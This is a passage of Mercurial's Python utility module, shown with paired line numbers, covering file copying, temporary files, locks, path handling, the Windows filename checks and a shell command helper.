899 925 while x:
900 926 x >>= 1
901 927 i += 1
902 928 return i - 1
903 929
904 930 buf = []
905 931 blen = 0
906 932 for chunk in source:
907 933 buf.append(chunk)
908 934 blen += len(chunk)
909 935 if blen >= min:
910 936 if min < max:
911 937 min = min << 1
912 938 nmin = 1 << log2(blen)
913 939 if nmin > min:
914 940 min = nmin
915 941 if min > max:
916 942 min = max
917 943 yield ''.join(buf)
918 944 blen = 0
919 945 buf = []
920 946 if buf:
921 947 yield ''.join(buf)
922 948
923 949 Abort = error.Abort
924 950
925 951 def always(fn):
926 952 return True
927 953
928 954 def never(fn):
929 955 return False
930 956
931 957 def nogc(func):
932 958 """disable garbage collector
933 959
934 960 Python's garbage collector triggers a GC each time a certain number of
935 961 container objects (the number being defined by gc.get_threshold()) are
936 962 allocated even when marked not to be tracked by the collector. Tracking has
937 963 no effect on when GCs are triggered, only on what objects the GC looks
938 964 into. As a workaround, disable GC while building complex (huge)
939 965 containers.
940 966
941 967 This garbage collector issue have been fixed in 2.7.
942 968 """
943 969 if sys.version_info >= (2, 7):
944 970 return func
945 971 def wrapper(*args, **kwargs):
946 972 gcenabled = gc.isenabled()
947 973 gc.disable()
948 974 try:
949 975 return func(*args, **kwargs)
950 976 finally:
951 977 if gcenabled:
952 978 gc.enable()
953 979 return wrapper
954 980
955 981 def pathto(root, n1, n2):
956 982 '''return the relative path from one place to another.
957 983 root should use os.sep to separate directories
958 984 n1 should use os.sep to separate directories
959 985 n2 should use "/" to separate directories
960 986 returns an os.sep-separated path.
961 987
962 988 If n1 is a relative path, it's assumed it's
963 989 relative to root.
964 990 n2 should always be relative to root.
965 991 '''
966 992 if not n1:
967 993 return localpath(n2)
968 994 if os.path.isabs(n1):
969 995 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
970 996 return os.path.join(root, localpath(n2))
971 997 n2 = '/'.join((pconvert(root), n2))
972 998 a, b = splitpath(n1), n2.split('/')
973 999 a.reverse()
974 1000 b.reverse()
975 1001 while a and b and a[-1] == b[-1]:
976 1002 a.pop()
977 1003 b.pop()
978 1004 b.reverse()
979 1005 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
980 1006
981 1007 def mainfrozen():
982 1008 """return True if we are a frozen executable.
983 1009
984 1010 The code supports py2exe (most common, Windows only) and tools/freeze
985 1011 (portable, not much used).
986 1012 """
987 1013 return (safehasattr(sys, "frozen") or # new py2exe
988 1014 safehasattr(sys, "importers") or # old py2exe
989 1015 imp.is_frozen(u"__main__")) # tools/freeze
990 1016
991 1017 # the location of data files matching the source code
992 1018 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
993 1019 # executable version (py2exe) doesn't support __file__
994 1020 datapath = os.path.dirname(pycompat.sysexecutable)
995 1021 else:
996 1022 datapath = os.path.dirname(pycompat.fsencode(__file__))
997 1023
998 1024 i18n.setdatapath(datapath)
999 1025
1000 1026 _hgexecutable = None
1001 1027
1002 1028 def hgexecutable():
1003 1029 """return location of the 'hg' executable.
1004 1030
1005 1031 Defaults to $HG or 'hg' in the search path.
1006 1032 """
1007 1033 if _hgexecutable is None:
1008 1034 hg = encoding.environ.get('HG')
1009 1035 mainmod = sys.modules[pycompat.sysstr('__main__')]
1010 1036 if hg:
1011 1037 _sethgexecutable(hg)
1012 1038 elif mainfrozen():
1013 1039 if getattr(sys, 'frozen', None) == 'macosx_app':
1014 1040 # Env variable set by py2app
1015 1041 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1016 1042 else:
1017 1043 _sethgexecutable(pycompat.sysexecutable)
1018 1044 elif (os.path.basename(
1019 1045 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1020 1046 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1021 1047 else:
1022 1048 exe = findexe('hg') or os.path.basename(sys.argv[0])
1023 1049 _sethgexecutable(exe)
1024 1050 return _hgexecutable
1025 1051
1026 1052 def _sethgexecutable(path):
1027 1053 """set location of the 'hg' executable"""
1028 1054 global _hgexecutable
1029 1055 _hgexecutable = path
1030 1056
1031 1057 def _isstdout(f):
1032 1058 fileno = getattr(f, 'fileno', None)
1033 1059 return fileno and fileno() == sys.__stdout__.fileno()
1034 1060
1035 1061 def shellenviron(environ=None):
1036 1062 """return environ with optional override, useful for shelling out"""
1037 1063 def py2shell(val):
1038 1064 'convert python object into string that is useful to shell'
1039 1065 if val is None or val is False:
1040 1066 return '0'
1041 1067 if val is True:
1042 1068 return '1'
1043 1069 return str(val)
1044 1070 env = dict(encoding.environ)
1045 1071 if environ:
1046 1072 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1047 1073 env['HG'] = hgexecutable()
1048 1074 return env
1049 1075
1050 1076 def system(cmd, environ=None, cwd=None, out=None):
1051 1077 '''enhanced shell command execution.
1052 1078 run with environment maybe modified, maybe in different dir.
1053 1079
1054 1080 if out is specified, it is assumed to be a file-like object that has a
1055 1081 write() method. stdout and stderr will be redirected to out.'''
1056 1082 try:
1057 1083 stdout.flush()
1058 1084 except Exception:
1059 1085 pass
1060 1086 cmd = quotecommand(cmd)
1061 1087 env = shellenviron(environ)
1062 1088 if out is None or _isstdout(out):
1063 1089 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1064 1090 env=env, cwd=cwd)
1065 1091 else:
1066 1092 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1067 1093 env=env, cwd=cwd, stdout=subprocess.PIPE,
1068 1094 stderr=subprocess.STDOUT)
1069 1095 for line in iter(proc.stdout.readline, ''):
1070 1096 out.write(line)
1071 1097 proc.wait()
1072 1098 rc = proc.returncode
1073 1099 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1074 1100 rc = 0
1075 1101 return rc
1076 1102
1077 1103 def checksignature(func):
1078 1104 '''wrap a function with code to check for calling errors'''
1079 1105 def check(*args, **kwargs):
1080 1106 try:
1081 1107 return func(*args, **kwargs)
1082 1108 except TypeError:
1083 1109 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1084 1110 raise error.SignatureError
1085 1111 raise
1086 1112
1087 1113 return check
1088 1114
1089 1115 # a whilelist of known filesystems where hardlink works reliably
1090 1116 _hardlinkfswhitelist = {
1091 1117 'btrfs',
1092 1118 'ext2',
1093 1119 'ext3',
1094 1120 'ext4',
1095 1121 'hfs',
1096 1122 'jfs',
1097 1123 'reiserfs',
1098 1124 'tmpfs',
1099 1125 'ufs',
1100 1126 'xfs',
1101 1127 'zfs',
1102 1128 }
1103 1129
1104 1130 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1105 1131 '''copy a file, preserving mode and optionally other stat info like
1106 1132 atime/mtime
1107 1133
1108 1134 checkambig argument is used with filestat, and is useful only if
1109 1135 destination file is guarded by any lock (e.g. repo.lock or
1110 1136 repo.wlock).
1111 1137
1112 1138 copystat and checkambig should be exclusive.
1113 1139 '''
1114 1140 assert not (copystat and checkambig)
1115 1141 oldstat = None
1116 1142 if os.path.lexists(dest):
1117 1143 if checkambig:
1118 1144 oldstat = checkambig and filestat.frompath(dest)
1119 1145 unlink(dest)
1120 1146 if hardlink:
1121 1147 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1122 1148 # unless we are confident that dest is on a whitelisted filesystem.
1123 1149 try:
1124 1150 fstype = getfstype(os.path.dirname(dest))
1125 1151 except OSError:
1126 1152 fstype = None
1127 1153 if fstype not in _hardlinkfswhitelist:
1128 1154 hardlink = False
1129 1155 if hardlink:
1130 1156 try:
1131 1157 oslink(src, dest)
1132 1158 return
1133 1159 except (IOError, OSError):
1134 1160 pass # fall back to normal copy
1135 1161 if os.path.islink(src):
1136 1162 os.symlink(os.readlink(src), dest)
1137 1163 # copytime is ignored for symlinks, but in general copytime isn't needed
1138 1164 # for them anyway
1139 1165 else:
1140 1166 try:
1141 1167 shutil.copyfile(src, dest)
1142 1168 if copystat:
1143 1169 # copystat also copies mode
1144 1170 shutil.copystat(src, dest)
1145 1171 else:
1146 1172 shutil.copymode(src, dest)
1147 1173 if oldstat and oldstat.stat:
1148 1174 newstat = filestat.frompath(dest)
1149 1175 if newstat.isambig(oldstat):
1150 1176 # stat of copied file is ambiguous to original one
1151 1177 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1152 1178 os.utime(dest, (advanced, advanced))
1153 1179 except shutil.Error as inst:
1154 1180 raise Abort(str(inst))
1155 1181
1156 1182 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1157 1183 """Copy a directory tree using hardlinks if possible."""
1158 1184 num = 0
1159 1185
1160 1186 gettopic = lambda: hardlink and _('linking') or _('copying')
1161 1187
1162 1188 if os.path.isdir(src):
1163 1189 if hardlink is None:
1164 1190 hardlink = (os.stat(src).st_dev ==
1165 1191 os.stat(os.path.dirname(dst)).st_dev)
1166 1192 topic = gettopic()
1167 1193 os.mkdir(dst)
1168 1194 for name, kind in listdir(src):
1169 1195 srcname = os.path.join(src, name)
1170 1196 dstname = os.path.join(dst, name)
1171 1197 def nprog(t, pos):
1172 1198 if pos is not None:
1173 1199 return progress(t, pos + num)
1174 1200 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1175 1201 num += n
1176 1202 else:
1177 1203 if hardlink is None:
1178 1204 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1179 1205 os.stat(os.path.dirname(dst)).st_dev)
1180 1206 topic = gettopic()
1181 1207
1182 1208 if hardlink:
1183 1209 try:
1184 1210 oslink(src, dst)
1185 1211 except (IOError, OSError):
1186 1212 hardlink = False
1187 1213 shutil.copy(src, dst)
1188 1214 else:
1189 1215 shutil.copy(src, dst)
1190 1216 num += 1
1191 1217 progress(topic, num)
1192 1218 progress(topic, None)
1193 1219
1194 1220 return hardlink, num
1195 1221
1196 1222 _winreservednames = b'''con prn aux nul
1197 1223 com1 com2 com3 com4 com5 com6 com7 com8 com9
1198 1224 lpt1 lpt2 lpt3 lpt4 lpt5 lpt6 lpt7 lpt8 lpt9'''.split()
1199 1225 _winreservedchars = ':*?"<>|'
1200 1226 def checkwinfilename(path):
1201 1227 r'''Check that the base-relative path is a valid filename on Windows.
1202 1228 Returns None if the path is ok, or a UI string describing the problem.
1203 1229
1204 1230 >>> checkwinfilename("just/a/normal/path")
1205 1231 >>> checkwinfilename("foo/bar/con.xml")
1206 1232 "filename contains 'con', which is reserved on Windows"
1207 1233 >>> checkwinfilename("foo/con.xml/bar")
1208 1234 "filename contains 'con', which is reserved on Windows"
1209 1235 >>> checkwinfilename("foo/bar/xml.con")
1210 1236 >>> checkwinfilename("foo/bar/AUX/bla.txt")
1211 1237 "filename contains 'AUX', which is reserved on Windows"
1212 1238 >>> checkwinfilename("foo/bar/bla:.txt")
1213 1239 "filename contains ':', which is reserved on Windows"
1214 1240 >>> checkwinfilename("foo/bar/b\07la.txt")
1215 1241 "filename contains '\\x07', which is invalid on Windows"
1216 1242 >>> checkwinfilename("foo/bar/bla ")
1217 1243 "filename ends with ' ', which is not allowed on Windows"
1218 1244 >>> checkwinfilename("../bar")
1219 1245 >>> checkwinfilename("foo\\")
1220 1246 "filename ends with '\\', which is invalid on Windows"
1221 1247 >>> checkwinfilename("foo\\/bar")
1222 1248 "directory name ends with '\\', which is invalid on Windows"
1223 1249 '''
1224 1250 if path.endswith('\\'):
1225 1251 return _("filename ends with '\\', which is invalid on Windows")
1226 1252 if '\\/' in path:
1227 1253 return _("directory name ends with '\\', which is invalid on Windows")
1228 1254 for n in path.replace('\\', '/').split('/'):
1229 1255 if not n:
1230 1256 continue
1231 1257 for c in _filenamebytestr(n):
1232 1258 if c in _winreservedchars:
1233 1259 return _("filename contains '%s', which is reserved "
1234 1260 "on Windows") % c
1235 1261 if ord(c) <= 31:
1236 1262 return _("filename contains %r, which is invalid "
1237 1263 "on Windows") % c
1238 1264 base = n.split('.')[0]
1239 1265 if base and base.lower() in _winreservednames:
1240 1266 return _("filename contains '%s', which is reserved "
1241 1267 "on Windows") % base
1242 1268 t = n[-1]
1243 1269 if t in '. ' and n not in '..':
1244 1270 return _("filename ends with '%s', which is not allowed "
1245 1271 "on Windows") % t
1246 1272
1247 1273 if pycompat.osname == 'nt':
1248 1274 checkosfilename = checkwinfilename
1249 1275 timer = time.clock
1250 1276 else:
1251 1277 checkosfilename = platform.checkosfilename
1252 1278 timer = time.time
1253 1279
1254 1280 if safehasattr(time, "perf_counter"):
1255 1281 timer = time.perf_counter
1256 1282
1257 1283 def makelock(info, pathname):
1258 1284 try:
1259 1285 return os.symlink(info, pathname)
1260 1286 except OSError as why:
1261 1287 if why.errno == errno.EEXIST:
1262 1288 raise
1263 1289 except AttributeError: # no symlink in os
1264 1290 pass
1265 1291
1266 1292 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
1267 1293 os.write(ld, info)
1268 1294 os.close(ld)
1269 1295
1270 1296 def readlock(pathname):
1271 1297 try:
1272 1298 return os.readlink(pathname)
1273 1299 except OSError as why:
1274 1300 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1275 1301 raise
1276 1302 except AttributeError: # no symlink in os
1277 1303 pass
1278 1304 fp = posixfile(pathname)
1279 1305 r = fp.read()
1280 1306 fp.close()
1281 1307 return r
1282 1308
1283 1309 def fstat(fp):
1284 1310 '''stat file object that may not have fileno method.'''
1285 1311 try:
1286 1312 return os.fstat(fp.fileno())
1287 1313 except AttributeError:
1288 1314 return os.stat(fp.name)
1289 1315
1290 1316 # File system features
1291 1317
1292 1318 def fscasesensitive(path):
1293 1319 """
1294 1320 Return true if the given path is on a case-sensitive filesystem
1295 1321
1296 1322 Requires a path (like /foo/.hg) ending with a foldable final
1297 1323 directory component.
1298 1324 """
1299 1325 s1 = os.lstat(path)
1300 1326 d, b = os.path.split(path)
1301 1327 b2 = b.upper()
1302 1328 if b == b2:
1303 1329 b2 = b.lower()
1304 1330 if b == b2:
1305 1331 return True # no evidence against case sensitivity
1306 1332 p2 = os.path.join(d, b2)
1307 1333 try:
1308 1334 s2 = os.lstat(p2)
1309 1335 if s2 == s1:
1310 1336 return False
1311 1337 return True
1312 1338 except OSError:
1313 1339 return True
1314 1340
1315 1341 try:
1316 1342 import re2
1317 1343 _re2 = None
1318 1344 except ImportError:
1319 1345 _re2 = False
1320 1346
1321 1347 class _re(object):
1322 1348 def _checkre2(self):
1323 1349 global _re2
1324 1350 try:
1325 1351 # check if match works, see issue3964
1326 1352 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1327 1353 except ImportError:
1328 1354 _re2 = False
1329 1355
1330 1356 def compile(self, pat, flags=0):
1331 1357 '''Compile a regular expression, using re2 if possible
1332 1358
1333 1359 For best performance, use only re2-compatible regexp features. The
1334 1360 only flags from the re module that are re2-compatible are
1335 1361 IGNORECASE and MULTILINE.'''
1336 1362 if _re2 is None:
1337 1363 self._checkre2()
1338 1364 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1339 1365 if flags & remod.IGNORECASE:
1340 1366 pat = '(?i)' + pat
1341 1367 if flags & remod.MULTILINE:
1342 1368 pat = '(?m)' + pat
1343 1369 try:
1344 1370 return re2.compile(pat)
1345 1371 except re2.error:
1346 1372 pass
1347 1373 return remod.compile(pat, flags)
1348 1374
1349 1375 @propertycache
1350 1376 def escape(self):
1351 1377 '''Return the version of escape corresponding to self.compile.
1352 1378
1353 1379 This is imperfect because whether re2 or re is used for a particular
1354 1380 function depends on the flags, etc, but it's the best we can do.
1355 1381 '''
1356 1382 global _re2
1357 1383 if _re2 is None:
1358 1384 self._checkre2()
1359 1385 if _re2:
1360 1386 return re2.escape
1361 1387 else:
1362 1388 return remod.escape
1363 1389
1364 1390 re = _re()
1365 1391
1366 1392 _fspathcache = {}
1367 1393 def fspath(name, root):
1368 1394 '''Get name in the case stored in the filesystem
1369 1395
1370 1396 The name should be relative to root, and be normcase-ed for efficiency.
1371 1397
1372 1398 Note that this function is unnecessary, and should not be
1373 1399 called, for case-sensitive filesystems (simply because it's expensive).
1374 1400
1375 1401 The root should be normcase-ed, too.
1376 1402 '''
1377 1403 def _makefspathcacheentry(dir):
1378 1404 return dict((normcase(n), n) for n in os.listdir(dir))
1379 1405
1380 1406 seps = pycompat.ossep
1381 1407 if pycompat.osaltsep:
1382 1408 seps = seps + pycompat.osaltsep
1383 1409 # Protect backslashes. This gets silly very quickly.
1384 1410 seps.replace('\\','\\\\')
1385 1411 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1386 1412 dir = os.path.normpath(root)
1387 1413 result = []
1388 1414 for part, sep in pattern.findall(name):
1389 1415 if sep:
1390 1416 result.append(sep)
1391 1417 continue
1392 1418
1393 1419 if dir not in _fspathcache:
1394 1420 _fspathcache[dir] = _makefspathcacheentry(dir)
1395 1421 contents = _fspathcache[dir]
1396 1422
1397 1423 found = contents.get(part)
1398 1424 if not found:
1399 1425 # retry "once per directory" per "dirstate.walk" which
1400 1426 # may take place for each patches of "hg qpush", for example
1401 1427 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1402 1428 found = contents.get(part)
1403 1429
1404 1430 result.append(found or part)
1405 1431 dir = os.path.join(dir, part)
1406 1432
1407 1433 return ''.join(result)
1408 1434
1409 1435 def getfstype(dirpath):
1410 1436 '''Get the filesystem type name from a directory (best-effort)
1411 1437
1412 1438 Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
1413 1439 '''
1414 1440 return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
1415 1441
1416 1442 def checknlink(testfile):
1417 1443 '''check whether hardlink count reporting works properly'''
1418 1444
1419 1445 # testfile may be open, so we need a separate file for checking to
1420 1446 # work around issue2543 (or testfile may get lost on Samba shares)
1421 1447 f1 = testfile + ".hgtmp1"
1422 1448 if os.path.lexists(f1):
1423 1449 return False
1424 1450 try:
1425 1451 posixfile(f1, 'w').close()
1426 1452 except IOError:
1427 1453 try:
1428 1454 os.unlink(f1)
1429 1455 except OSError:
1430 1456 pass
1431 1457 return False
1432 1458
1433 1459 f2 = testfile + ".hgtmp2"
1434 1460 fd = None
1435 1461 try:
1436 1462 oslink(f1, f2)
1437 1463 # nlinks() may behave differently for files on Windows shares if
1438 1464 # the file is open.
1439 1465 fd = posixfile(f2)
1440 1466 return nlinks(f2) > 1
1441 1467 except OSError:
1442 1468 return False
1443 1469 finally:
1444 1470 if fd is not None:
1445 1471 fd.close()
1446 1472 for f in (f1, f2):
1447 1473 try:
1448 1474 os.unlink(f)
1449 1475 except OSError:
1450 1476 pass
1451 1477
1452 1478 def endswithsep(path):
1453 1479 '''Check path ends with os.sep or os.altsep.'''
1454 1480 return (path.endswith(pycompat.ossep)
1455 1481 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1456 1482
1457 1483 def splitpath(path):
1458 1484 '''Split path by os.sep.
1459 1485 Note that this function does not use os.altsep because this is
1460 1486 an alternative of simple "xxx.split(os.sep)".
1461 1487 It is recommended to use os.path.normpath() before using this
1462 1488 function if need.'''
1463 1489 return path.split(pycompat.ossep)
1464 1490
1465 1491 def gui():
1466 1492 '''Are we running in a GUI?'''
1467 1493 if pycompat.sysplatform == 'darwin':
1468 1494 if 'SSH_CONNECTION' in encoding.environ:
1469 1495 # handle SSH access to a box where the user is logged in
1470 1496 return False
1471 1497 elif getattr(osutil, 'isgui', None):
1472 1498 # check if a CoreGraphics session is available
1473 1499 return osutil.isgui()
1474 1500 else:
1475 1501 # pure build; use a safe default
1476 1502 return True
1477 1503 else:
1478 1504 return pycompat.osname == "nt" or encoding.environ.get("DISPLAY")
1479 1505
1480 1506 def mktempcopy(name, emptyok=False, createmode=None):
1481 1507 """Create a temporary file with the same contents from name
1482 1508
1483 1509 The permission bits are copied from the original file.
1484 1510
1485 1511 If the temporary file is going to be truncated immediately, you
1486 1512 can use emptyok=True as an optimization.
1487 1513
1488 1514 Returns the name of the temporary file.
1489 1515 """
1490 1516 d, fn = os.path.split(name)
1491 1517 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, dir=d)
1492 1518 os.close(fd)
1493 1519 # Temporary files are created with mode 0600, which is usually not
1494 1520 # what we want. If the original file already exists, just copy
1495 1521 # its mode. Otherwise, manually obey umask.
1496 1522 copymode(name, temp, createmode)
1497 1523 if emptyok:
1498 1524 return temp
1499 1525 try:
1500 1526 try:
1501 1527 ifp = posixfile(name, "rb")
1502 1528 except IOError as inst:
1503 1529 if inst.errno == errno.ENOENT:
1504 1530 return temp
1505 1531 if not getattr(inst, 'filename', None):
1506 1532 inst.filename = name
1507 1533 raise
1508 1534 ofp = posixfile(temp, "wb")
1509 1535 for chunk in filechunkiter(ifp):
1510 1536 ofp.write(chunk)
1511 1537 ifp.close()
1512 1538 ofp.close()
1513 1539 except: # re-raises
1514 1540 try: os.unlink(temp)
1515 1541 except OSError: pass
1516 1542 raise
1517 1543 return temp
1518 1544
1519 1545 class filestat(object):
1520 1546 """help to exactly detect change of a file
1521 1547
1522 1548 'stat' attribute is result of 'os.stat()' if specified 'path'
1523 1549 exists. Otherwise, it is None. This can avoid preparative
1524 1550 'exists()' examination on client side of this class.
1525 1551 """
1526 1552 def __init__(self, stat):
1527 1553 self.stat = stat
1528 1554
1529 1555 @classmethod
1530 1556 def frompath(cls, path):
1531 1557 try:
1532 1558 stat = os.stat(path)
1533 1559 except OSError as err:
1534 1560 if err.errno != errno.ENOENT:
1535 1561 raise
1536 1562 stat = None
1537 1563 return cls(stat)
1538 1564
1539 1565 @classmethod
1540 1566 def fromfp(cls, fp):
1541 1567 stat = os.fstat(fp.fileno())
1542 1568 return cls(stat)
1543 1569
1544 1570 __hash__ = object.__hash__
1545 1571
1546 1572 def __eq__(self, old):
1547 1573 try:
1548 1574 # if ambiguity between stat of new and old file is
1549 1575 # avoided, comparison of size, ctime and mtime is enough
1550 1576 # to exactly detect change of a file regardless of platform
1551 1577 return (self.stat.st_size == old.stat.st_size and
1552 1578 self.stat.st_ctime == old.stat.st_ctime and
1553 1579 self.stat.st_mtime == old.stat.st_mtime)
1554 1580 except AttributeError:
1555 1581 pass
1556 1582 try:
1557 1583 return self.stat is None and old.stat is None
1558 1584 except AttributeError:
1559 1585 return False
1560 1586
1561 1587 def isambig(self, old):
1562 1588 """Examine whether new (= self) stat is ambiguous against old one
1563 1589
1564 1590 "S[N]" below means stat of a file at N-th change:
1565 1591
1566 1592 - S[n-1].ctime < S[n].ctime: can detect change of a file
1567 1593 - S[n-1].ctime == S[n].ctime
1568 1594 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1569 1595 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1570 1596 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1571 1597 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1572 1598
1573 1599 Case (*2) above means that a file was changed twice or more at
1574 1600 same time in sec (= S[n-1].ctime), and comparison of timestamp
1575 1601 is ambiguous.
1576 1602
1577 1603 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1578 1604 timestamp is ambiguous".
1579 1605
1580 1606 But advancing mtime only in case (*2) doesn't work as
1581 1607 expected, because naturally advanced S[n].mtime in case (*1)
1582 1608 might be equal to manually advanced S[n-1 or earlier].mtime.
1583 1609
1584 1610 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1585 1611 treated as ambiguous regardless of mtime, to avoid overlooking
1586 1612 by confliction between such mtime.
1587 1613
1588 1614 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
1589 1615 S[n].mtime", even if size of a file isn't changed.
1590 1616 """
1591 1617 try:
1592 1618 return (self.stat.st_ctime == old.stat.st_ctime)
1593 1619 except AttributeError:
1594 1620 return False
1595 1621
1596 1622 def avoidambig(self, path, old):
1597 1623 """Change file stat of specified path to avoid ambiguity
1598 1624
1599 1625 'old' should be previous filestat of 'path'.
1600 1626
1601 1627 This skips avoiding ambiguity, if a process doesn't have
1602 1628 appropriate privileges for 'path'. This returns False in this
1603 1629 case.
1604 1630
1605 1631 Otherwise, this returns True, as "ambiguity is avoided".
1606 1632 """
1607 1633 advanced = (old.stat.st_mtime + 1) & 0x7fffffff
1608 1634 try:
1609 1635 os.utime(path, (advanced, advanced))
1610 1636 except OSError as inst:
1611 1637 if inst.errno == errno.EPERM:
1612 1638 # utime() on the file created by another user causes EPERM,
1613 1639 # if a process doesn't have appropriate privileges
1614 1640 return False
1615 1641 raise
1616 1642 return True
1617 1643
1618 1644 def __ne__(self, other):
1619 1645 return not self == other
1620 1646
1621 1647 class atomictempfile(object):
1622 1648 '''writable file object that atomically updates a file
1623 1649
1624 1650 All writes will go to a temporary copy of the original file. Call
1625 1651 close() when you are done writing, and atomictempfile will rename
1626 1652 the temporary copy to the original name, making the changes
1627 1653 visible. If the object is destroyed without being closed, all your
1628 1654 writes are discarded.
1629 1655
1630 1656 checkambig argument of constructor is used with filestat, and is
1631 1657 useful only if target file is guarded by any lock (e.g. repo.lock
1632 1658 or repo.wlock).
1633 1659 '''
1634 1660 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
1635 1661 self.__name = name # permanent name
1636 1662 self._tempname = mktempcopy(name, emptyok=('w' in mode),
1637 1663 createmode=createmode)
1638 1664 self._fp = posixfile(self._tempname, mode)
1639 1665 self._checkambig = checkambig
1640 1666
1641 1667 # delegated methods
1642 1668 self.read = self._fp.read
1643 1669 self.write = self._fp.write
1644 1670 self.seek = self._fp.seek
1645 1671 self.tell = self._fp.tell
1646 1672 self.fileno = self._fp.fileno
1647 1673
1648 1674 def close(self):
1649 1675 if not self._fp.closed:
1650 1676 self._fp.close()
1651 1677 filename = localpath(self.__name)
1652 1678 oldstat = self._checkambig and filestat.frompath(filename)
1653 1679 if oldstat and oldstat.stat:
1654 1680 rename(self._tempname, filename)
1655 1681 newstat = filestat.frompath(filename)
1656 1682 if newstat.isambig(oldstat):
1657 1683 # stat of changed file is ambiguous to original one
1658 1684 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1659 1685 os.utime(filename, (advanced, advanced))
1660 1686 else:
1661 1687 rename(self._tempname, filename)
1662 1688
1663 1689 def discard(self):
1664 1690 if not self._fp.closed:
1665 1691 try:
1666 1692 os.unlink(self._tempname)
1667 1693 except OSError:
1668 1694 pass
1669 1695 self._fp.close()
1670 1696
1671 1697 def __del__(self):
1672 1698 if safehasattr(self, '_fp'): # constructor actually did something
1673 1699 self.discard()
1674 1700
1675 1701 def __enter__(self):
1676 1702 return self
1677 1703
1678 1704 def __exit__(self, exctype, excvalue, traceback):
1679 1705 if exctype is not None:
1680 1706 self.discard()
1681 1707 else:
1682 1708 self.close()
1683 1709
1684 1710 def unlinkpath(f, ignoremissing=False):
1685 1711 """unlink and remove the directory if it is empty"""
1686 1712 if ignoremissing:
1687 1713 tryunlink(f)
1688 1714 else:
1689 1715 unlink(f)
1690 1716 # try removing directories that might now be empty
1691 1717 try:
1692 1718 removedirs(os.path.dirname(f))
1693 1719 except OSError:
1694 1720 pass
1695 1721
1696 1722 def tryunlink(f):
1697 1723 """Attempt to remove a file, ignoring ENOENT errors."""
1698 1724 try:
1699 1725 unlink(f)
1700 1726 except OSError as e:
1701 1727 if e.errno != errno.ENOENT:
1702 1728 raise
1703 1729
1704 1730 def makedirs(name, mode=None, notindexed=False):
1705 1731 """recursive directory creation with parent mode inheritance
1706 1732
1707 1733 Newly created directories are marked as "not to be indexed by
1708 1734 the content indexing service", if ``notindexed`` is specified
1709 1735 for "write" mode access.
1710 1736 """
1711 1737 try:
1712 1738 makedir(name, notindexed)
1713 1739 except OSError as err:
1714 1740 if err.errno == errno.EEXIST:
1715 1741 return
1716 1742 if err.errno != errno.ENOENT or not name:
1717 1743 raise
1718 1744 parent = os.path.dirname(os.path.abspath(name))
1719 1745 if parent == name:
1720 1746 raise
1721 1747 makedirs(parent, mode, notindexed)
1722 1748 try:
1723 1749 makedir(name, notindexed)
1724 1750 except OSError as err:
1725 1751 # Catch EEXIST to handle races
1726 1752 if err.errno == errno.EEXIST:
1727 1753 return
1728 1754 raise
1729 1755 if mode is not None:
1730 1756 os.chmod(name, mode)
1731 1757
1732 1758 def readfile(path):
1733 1759 with open(path, 'rb') as fp:
1734 1760 return fp.read()
1735 1761
1736 1762 def writefile(path, text):
1737 1763 with open(path, 'wb') as fp:
1738 1764 fp.write(text)
1739 1765
1740 1766 def appendfile(path, text):
1741 1767 with open(path, 'ab') as fp:
1742 1768 fp.write(text)
1743 1769
1744 1770 class chunkbuffer(object):
1745 1771 """Allow arbitrary sized chunks of data to be efficiently read from an
1746 1772 iterator over chunks of arbitrary size."""
1747 1773
1748 1774 def __init__(self, in_iter):
1749 1775 """in_iter is the iterator that's iterating over the input chunks."""
1750 1776 def splitbig(chunks):
1751 1777 for chunk in chunks:
1752 1778 if len(chunk) > 2**20:
1753 1779 pos = 0
1754 1780 while pos < len(chunk):
1755 1781 end = pos + 2 ** 18
1756 1782 yield chunk[pos:end]
1757 1783 pos = end
1758 1784 else:
1759 1785 yield chunk
1760 1786 self.iter = splitbig(in_iter)
1761 1787 self._queue = collections.deque()
1762 1788 self._chunkoffset = 0
1763 1789
1764 1790 def read(self, l=None):
1765 1791 """Read L bytes of data from the iterator of chunks of data.
1766 1792 Returns less than L bytes if the iterator runs dry.
1767 1793
1768 1794 If size parameter is omitted, read everything"""
1769 1795 if l is None:
1770 1796 return ''.join(self.iter)
1771 1797
1772 1798 left = l
1773 1799 buf = []
1774 1800 queue = self._queue
1775 1801 while left > 0:
1776 1802 # refill the queue
1777 1803 if not queue:
1778 1804 target = 2**18
1779 1805 for chunk in self.iter:
1780 1806 queue.append(chunk)
1781 1807 target -= len(chunk)
1782 1808 if target <= 0:
1783 1809 break
1784 1810 if not queue:
1785 1811 break
